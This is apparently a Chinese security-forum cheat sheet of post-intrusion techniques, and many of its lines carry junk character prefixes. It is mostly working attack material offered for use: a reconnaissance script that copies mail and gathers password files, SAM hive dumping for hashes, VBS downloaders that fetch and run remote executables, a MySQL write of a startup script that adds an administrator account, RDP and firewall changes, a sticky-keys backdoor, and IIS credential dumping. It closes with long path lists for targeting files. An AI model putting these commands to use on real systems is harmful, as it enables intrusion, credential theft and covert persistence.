- E5 Y/ x/ A6 u7 j2 q（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
# E/ u1 w9 }$ A, z9 E# L- N——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
$ z& {4 K+ K' Q6 |2 W* F————————————————————————————
# u6 ^3 E* |% f- U5 Q; ?" D6 a1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
" ?5 ?* |6 l; C$ C5 p- d注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
3 M2 a: k& O' U3 x! E7 q那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  
/ a3 O- P: M" r+ o. }/ Z
; {! P& n" Q' g! e: O( t提权先执行systeminfo
; M! [, P) F! ?+ E) G0 v+ ptoken 漏洞补丁号 KB956572
& W$ G3 p/ [# n5 t1 F* rChurrasco          kb952004
命令行RAR打包~~·
7 `5 x; {+ o2 b* I# frar a -k -r -s -m3 c:\1.rar c:\folder
1 \+ n% X3 g2 ?- t" X——————————————
. [$ J3 I) ]7 q1 a5 o4 W+ {7 z2、收集系统信息的脚本  
for window：

5 c! w# x2 L" d- B@echo off
echo #########system info collection
systeminfo
ver
hostname
net user
6 L# h! ^, L4 m$ Snet localgroup
net localgroup administrators
net user guest
/ d/ O2 q/ G" P* |net user administrator
$ X0 v* z- K# ], B# d$ m0 t
# h5 t) t; q  j: Z' oecho #######at- with   atq#####
echo schtask /query
. R3 G! g7 T7 v) k+ v) ?. M& U2 l
! M4 Y7 U) v( V2 Zecho
echo ####task-list#############
7 ], T- |2 v) c1 @/ Mtasklist /svc
echo
echo ####net-work infomation
ipconfig/all
route print
arp -a
netstat -anipconfig /displaydns
echo
' \+ f' v# i$ x. J% k1 ]echo #######service############
sc query type= service state= all
echo #######file-##############
cd \
8 D7 y. r+ E! x) ^' {6 _0 F) t, ptree -F
for linux：
& _) \& r# w0 f( \
$ _4 I* O" N. l3 X# i#!/bin/bash

echo #######geting sysinfo####
' `3 a: n7 H$ `# |) r( Cecho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
8 q" C$ F6 {) ]6 Kecho #######basic infomation##
cat /proc/meminfo
echo
/ Q" i1 ]7 [! I8 }+ fcat /proc/cpuinfo
echo
/ {' }& D, v, s- m1 r% W8 k( ^rpm -qa 2>/dev/null
######stole the mail......######
8 d9 j$ ]: w1 z/ S4 \3 Gcp -a /var/mail /tmp/getmail 2>/dev/null


/ ^# p2 }5 ^4 Decho 'u'r id is' `id`
echo ###atq&crontab#####
atq
9 @# ~& M5 g- I3 Lcrontab -l
* O- b/ R7 M( @6 W% m+ R4 Gecho #####about var#####
1 q' F, ~7 z8 Q. P- ]set

echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
* V$ H" W2 x; X8 Phostname
( t/ e7 o7 Q! h: g9 Oipconfig -a
arp -v
echo ########user####
6 m6 A4 [( X% n1 h5 ecat /etc/passwd|grep -i sh
. L+ Z& Z3 l" w& Y
& t7 M% m5 H* m+ M: m  [echo ######service####
chkconfig --list

for i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
7 S3 D- y% t& k" y$ gdone
$ o; e& |/ E; l* {
* S6 F* j5 F7 C+ r9 [locate passwd >/tmp/password 2>/dev/null
" v% S/ a) [& H& _* c; Z6 B( B. B0 Xsleep 5
0 s6 i, s+ E% u1 W/ j3 @locate password >>/tmp/password 2>/dev/null
sleep 5
2 y- R* r% H+ }locate conf >/tmp/sysconfig 2>dev/null
sleep 5
: b, A$ z5 t) K* D0 \, C' K- Jlocate config >>/tmp/sysconfig 2>/dev/null
$ e8 Z' }+ {6 \! Q+ k% lsleep 5

, D9 ~% P& B3 T& B. A###maybe can use "tree /"###
echo ##packing up#########
8 U6 d: z* m6 Etar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
9 u3 _+ {5 U* ]" x1 S——————————————
4 f# D( F( f4 R  |. \3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
; Q9 n2 k3 e: x8 p/ x接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
4、vbs 下载者
% u; L7 G+ a( H/ P. q! b1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
5 i8 H( g% e3 H9 J4 q0 v* S. S1 O$ becho sGet.Open() >>c:\windows\cftmon.vbs
$ V& b5 Q# Z3 R, l& M, \& Recho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
+ w+ ~9 w+ [2 g5 x; u; mecho sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
* O+ E/ W0 s. kecho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
; m: O+ Z' j  m& L4 f2 eecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs
2 M8 D6 ^0 J. ~9 b7 A. S
2
# B* c# _( U; I. ^! t3 `' M# S1 U6 `On Error Resume Nextim iRemote,iLocal,s1,s2
/ l1 K  w) H0 [; EiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
0 X+ S6 W/ ^+ q% SSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
- O- Z9 P! i& m8 b6 \8 MsGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
! C8 |, I" F9 r: S6 [( `
cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
# A5 `( B& N* t0 q; I3 K3 d+ n
4 j7 i$ H5 ~9 n1 }7 {9 ?当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
5、
1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
/ E7 d8 v) ]7 ?/ ^* r# s2.开启XP&2003终端服务
/ J) e, N# D8 ~% u5 |+ q0 TREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
$ |; w+ j% t, K2 Z( A6 o# z+ f6 V/ eREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
) l9 l; |& k4 U! j7 \( V$ W  b6、create table a (cmd text);
( o" g7 c  p- Z: M( C7 s/ Sinsert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
# d( B: B7 n% |select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
' J) j8 k. l  V3 n+ F% |3 p7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
4 b$ ~: n; ~" A_____
) Q- P, i7 S) E" g7 m" G8、for /d %i in (d:\freehost\*) do @echo %i
. M$ ]+ W$ {" _  U$ S
列出d的所有目录
* j) n7 E( e" S8 S  
+ t. k% Q* a9 \  ~5 V  for /d %i in (???) do @echo %i
7 Y' K' L( y" S+ x
: m* @  I1 V" o$ v) x7 g- R- b把当前路径下文件夹的名字只有1-3个字母的打出来

! Q4 @# O" p' B# |% E( c9 m2.for /r %i in (*.exe) do @echo %i
, y8 ]3 T( k* U& ]- k  
& C* o' q: m. Z" \) ^4 c0 S# t- Y以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
5 _6 c) `3 @* A% s4 n
) D" K- ^2 n0 w% z' k3.for /f %i in (c:\1.txt) do echo %i
  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

4 x) H& T) P( l+ c$ Q7 G, a1 h4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
' r" d. Y8 P! c6 `) d9 L. K$ v
6 Q* Q. q) w' l$ w. W& W9 Y  delims=后的空格是分隔符 tokens是取第几个位置
——————————
●注册表:
4 n3 {7 y5 d$ _& u, n1.Administrator注册表备份:
; A7 h/ U7 d+ s* Zreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
- v/ D2 \- N$ z4 g- K
2.修改3389的默认端口:
* \% l- Z* [$ M7 N" s3 T8 [/ h5 i0 u+ LHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.
4 X* w. _1 D+ ?
" C" U# g, Y% L0 r5 q3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg
9 c) h7 n6 K) R# J! Y
5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
# H" w# G5 x/ f- k4 I! E$ ?. G- _3 n( v
+ I. ^' I% r' w9 G# s8 d8 s6.IPSec默认免除项88端口(需重启):
" t  N0 i8 R( h% K- p6 Y. h1 breg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
# M: u5 u7 f) }9 s; y+ p" U) ~" a或者
+ @+ F7 S" y3 N( T) F, enetsh ipsec dynamic set config ipsecexempt value=0

7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n
4 w- p2 W( s; T- j" L
8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
" }) u1 E5 t1 F9 h3 C6 K
2 x9 T1 ]; ?  P  {9 w9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive

10.shift映像劫持
: `$ ]2 R1 I9 U+ i8 Nreg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
' }$ _' P5 p, J2 U) P' T! W. w% _" {
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
' ]8 f4 I6 y9 }-----------------------------------
星外vbs(注：测试通过，好东西）
0 K4 s; N# q" P  f* G+ n2 GSet ObjService=GetObject("IIS://LocalHost/W3SVC")
. f8 x9 i& x$ @! h2 DFor Each obj3w In objservice
" i& ~1 _& u# d1 \childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
exit for
msgbox("error!")
wscript.quit
% [5 e  }# G  U2 T! ?end if
serverbindings=IIS.serverBindings
ServerComment=iis.servercomment
$ Z' ?1 h4 L" j8 r& @set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
path=IIsWeb.path
4 O( ^  x/ {; w  L  L1 Jlist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
Next
wscript.echo list
Set ObjService=Nothing
2 s' K. c  W) h/ E9 P- n' {wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
# k, a. \3 r! b8 nWScript.Quit
7 o  k6 J/ Z2 d& `3 |% B复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
; H7 P! z, n9 E- J/ s1 e8 L; C复制代码
% i; S& f) \" n* [) L然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
0 [5 W9 K3 Q0 }" ^+ w, f 原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
  h" J/ T$ t( J! y5 a 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
1 K! Q# N! D; G5 \* _ 解决方法
5 ?5 ^+ q" g0 s5 v/ ^) g url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马
9 I. F. `, h/ j7 v% s
; h9 _0 n. ?9 {- i/ }==============================================================
/ ^  H2 p1 {% ULINUX常见路径：
2 A6 S+ Y; \! z  A9 s
; p) b& T8 T7 A! E! ?6 T/etc/passwd
/etc/shadow
/etc/fstab
6 N+ W6 D+ ~* F# K, h; `! j) N# D/etc/host.conf
8 E* G/ e6 d1 ^$ E- w$ l/etc/motd
/etc/ld.so.conf
/var/www/htdocs/index.php
% S+ Q( L+ f2 R' }  n4 o2 y6 @* ]/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/httpd/conf/php.ini
- @3 w+ T: X) R8 I/var/httpd/htdocs/index.php
- d( r4 G- y5 [+ f( G/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
2 b0 |! ^" u" k) b6 w/var/www/index.html
: h5 R& g/ Z7 q1 V; l/var/www/index.php
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
+ ]0 s. t* p9 O+ H( D, ]/ [/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
* J6 ~* O8 m; C8 y# D' q6 ~/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
4 ]# ]5 y  q& V: S" y/tmp/apache/htdocs/index.php
) w# u+ S" m* U" v; g+ d1 U/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/www/php/php.ini
- i% t0 i! J( ?  ^/www/php4/php.ini
6 s( N5 ~5 T# c2 b" X/www/php5/php.ini
* p+ F3 t3 q* U0 W+ q8 c. N1 M/www/conf/httpd.conf
/www/htdocs/index.php
/www/htdocs/index.html
5 d0 h* I* U! ^/usr/local/httpd/conf/httpd.conf
$ i8 m! G, k/ W+ _, e/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
- g- m6 p0 a# V/etc/apache/apache.conf
/etc/apache2/apache.conf
  Y% `: W9 ?& T+ k# z1 v" }/etc/apache/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
7 w- L/ b( J' S& K- a/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
# [1 ~0 h% h6 R# I3 m6 C4 N/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/ Z/ f( s* c5 a. u& g2 q  }0 w/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
# _; Q+ l0 Y* r  y, W/var/log/apache/error_log
- z2 w. ~. s" o' l/var/log/apache/error.log
/var/log/apache/access_log
( |6 r% o2 P* V- |/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
' V( `' Q/ c. I/var/www/logs/error_log
$ P" S/ T. S9 r) z! D; P& g/var/www/logs/error.log
/var/www/logs/access_log
  [1 ?1 o( ~8 N: l( Q# j" c1 @/var/www/logs/access.log
/usr/local/apache/logs/error_log
+ c) P2 ~8 d: K- Q( `/usr/local/apache/logs/error.log
0 y7 R% J; e2 Y/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
$ u1 m0 e& [0 q5 F3 n: s) S/bin/php.ini
+ ^! D  ~8 r+ _3 R2 x9 V) s/etc/init.d/httpd
/etc/init.d/mysql
1 G5 Y) q3 V8 `( P5 x/etc/httpd/php.ini
, o  b9 r/ W; d+ h/usr/lib/php.ini
* m1 u( y0 f7 N5 z* k" c% d# y5 n/ P/usr/lib/php/php.ini
# {$ F4 }# ^# a+ N: x$ j3 U+ Z+ g/usr/local/etc/php.ini
/ x; ?/ o) `0 v1 E' n/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
9 H/ f0 L3 ?1 S5 m) s/usr/local/php5/etc/php.ini
9 f" ~' i& o: A" `/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
! G7 l4 u" {2 ?/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
* D: _2 e' u  L" c; J/usr/local/apache2/conf/php.ini
2 q+ l! {: s  P8 m- k5 W+ K5 t/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
9 J6 G: Y  o+ e# A7 ^7 _/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
$ J) ]1 z: h6 n4 n/ V) W3 V/etc/php5/apache2/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
1 J8 P" J/ ?5 C  Z" D+ w/web/conf/php.ini
/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
' p0 G8 @( h& N4 q) j& V/etc/php/cgi/php.ini
6 p" M; C$ G# }* _& c/etc/php4/cgi/php.ini
6 _- {7 {! W) N7 Q/etc/php5/cgi/php.ini
/php5/php.ini
/php4/php.ini
8 t4 C; t1 o7 n& _/php/php.ini
/PHP/php.ini
* R+ S# P4 F& X3 G; R2 ^& N& J/apache/php/php.ini
/ Z0 O; ]- \# i' r/xampp/apache/bin/php.ini
! c1 x1 r2 v" M& O/xampp/apache/conf/httpd.conf
% I! {& O9 M3 N9 F0 @/NetServer/bin/stable/apache/php.ini
  E3 \9 d6 W& Y/ h/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
6 c& p( _0 i+ ~' o$ M/var/log/mysql/mysql-bin.log
/var/log/mysql.log
) ~+ Z: m2 T4 L/var/log/mysqlderror.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/mysql.log
) v  o: e6 `, y/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
1 D. {- v$ C" U& e6 `2 H/etc/mysql/my.cnf
/etc/my.cnf
1 F$ e; q+ V. S, A, n/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
- f7 x* ?3 Q  J1 ?9 h/ @/usr/local/cpanel/logs/access_log
, t7 U3 S2 r: G2 Z7 v/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
7 t1 [9 Y: u7 [# P/usr/local/cpanel/logs/login_log
5 v; P! l' T  `3 {1 E, h2 X, B  @/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
0 Y5 i4 P$ D/ _" r/usr/local/share/examples/php/php.ini

9 f( O+ o# u/ @: I2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

c:\windows\php.ini
c:\boot.ini
c:\1.txt
c:\a.txt
- M$ q& P& Y- X; f. ^; }
c:\CMailServer\config.ini
: f, S3 o' S7 ?# m6 C) e% Yc:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
, ?" W4 M$ u1 Pc:\program files\CMailServer\WebMail\index.asp
+ \7 x6 m% i& N4 F. C, YC:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
& V( i: K$ |8 _C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
: b9 o! |% o2 A& yC:\WINDOWS\7i24tool.exe
5 R) ]% {. K9 O1 C
c:\hzhost\databases\url.asp
% o5 {1 K/ t- @9 X! M" {
c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
/ }$ h4 M) N- p( }$ k; L0 }) n
/ ]; U$ X. F' e" c, }C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
& G/ z. k3 ?; t: Y3 y. [C:\WINDOWS\web.config
. A) Q. }  d/ U( kc:\web\index.html
0 y8 u% k# N5 s+ h! C9 C% A- o8 h: d$ uc:\www\index.html
7 D& ^& n( e+ `) ]( e9 y) zc:\WWWROOT\index.html
. X: O7 V. O) Mc:\website\index.html
c:\web\index.asp
5 M" \+ V& T1 A4 d- E/ P9 G7 o& ^c:\www\index.asp
c:\wwwsite\index.asp
  g# [& h' P; f( Z2 ^c:\WWWROOT\index.asp
# p" B: h; Q2 U( t$ |' e2 E* Vc:\web\index.php
c:\www\index.php
c:\WWWROOT\index.php
" ?$ }' q1 {, nc:\WWWsite\index.php
. z+ Q9 N' Z1 U' s- ]0 e( Z# Rc:\web\default.html
c:\www\default.html
4 S; W) M" D) \c:\WWWROOT\default.html
c:\website\default.html
7 p5 J7 }% {; N, M* G% b9 o. Nc:\web\default.asp
: Q# ?2 C) I8 U0 a+ `* _% p& Xc:\www\default.asp
/ {$ @" l- u; ^! x/ u, \" J3 [) Nc:\wwwsite\default.asp
c:\WWWROOT\default.asp
! p' n  b; Q2 W" {+ G# d, Ec:\web\default.php
c:\www\default.php
c:\WWWROOT\default.php
( U+ N3 x6 g( x0 a' {/ Q% D  Sc:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
$ ?: N5 `( O) S& F7 V6 Y$ Nc:\windows\notepad.exe
c:\winnt\notepad.exe
; P) i+ R; ?/ @2 a$ pC:\Program Files\Microsoft Office\OFFICE10\winword.exe
- W+ c/ T4 w4 _C:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
7 P& ?# [/ j! p' F7 u" HC:\Program Files\Internet Explorer\IEXPLORE.EXE
1 w+ L" e5 X4 L/ CC:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
: b. @: H6 y% U' ?) k2 o7 L- |C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
* Y2 y6 M0 G) l* m4 W) }6 ic:\ravbin\store.ini
c:\rising.ini
# \  P3 w7 m2 M2 t' o; V- mC:\Program Files\Rising\Rav\RsTask.xml
( T" Z6 f' F6 O- d' r% nC:\Documents and Settings\All Users\Start Menu\desktop.ini
7 F3 J  {# G  L6 S( MC:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
( F8 n: }2 f) Y" I6 }, l$ A  RC:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
" D/ v3 `2 h, ~( \' W$ DC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
+ s% K; h6 [* mE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
4 N) Z9 W# {7 i# N2 A% @0 KC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
( E' _% ]: i( q; A* v! z& DC:\Program Files\Symantec\SYMEVENT.INF
/ C  i9 P9 A; O  V! B$ iC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
: Z2 V8 u0 i: T2 BC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
; ?5 `' i/ I4 t' DC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
$ O% o/ c% a+ \* U& a# S, n% BC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
; o6 {2 M# c8 dC:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
4 d& `8 S" c. wC:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
' T- H8 _3 q0 p/ u5 T$ JC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
$ o! a1 C% L* {- g- eC:\Program Files\Oracle\oraconfig\Lpk.dll
8 N0 T/ z; j% v+ ]C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
+ m% C. ?) @# @/ L6 o$ zC:\WINDOWS\system32\inetsrv\w3wp.exe
( W4 l" `. e" S4 q2 Y9 i$ MC:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
% i8 c$ X5 @' d$ U; y" r: cC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
) w3 \7 [- u* h  HC:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
' t1 F* x: g6 w3 h% V5 k. {7 _8 Jc:\tomcat6\bin\version.sh
" S% n+ ]6 L# Q1 H6 Qc:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
, G2 G5 O& B5 Z% F3 T$ NC:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
) e$ |( [1 k1 y6 A5 ic:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
# v0 n" x8 w( f0 C1 [/usr/share/tomcat6/bin/startup.sh
5 K' D' K% e7 i! ]! a/usr/tomcat6/bin/startup.sh
: C# u$ @" {5 \- X- o; J+ s+ o( ?c:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
, p8 Y* ^  I& b$ Q( zc:\Program Files\Tencent\qq\bin\qq.exe
$ E1 t% F- u3 V2 `8 Z0 d* rc:\Program Files\Tencent\qq2009\qq.exe
" P) f/ f9 z$ d6 P2 Oc:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
1 T) q' X" j- k% Cc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
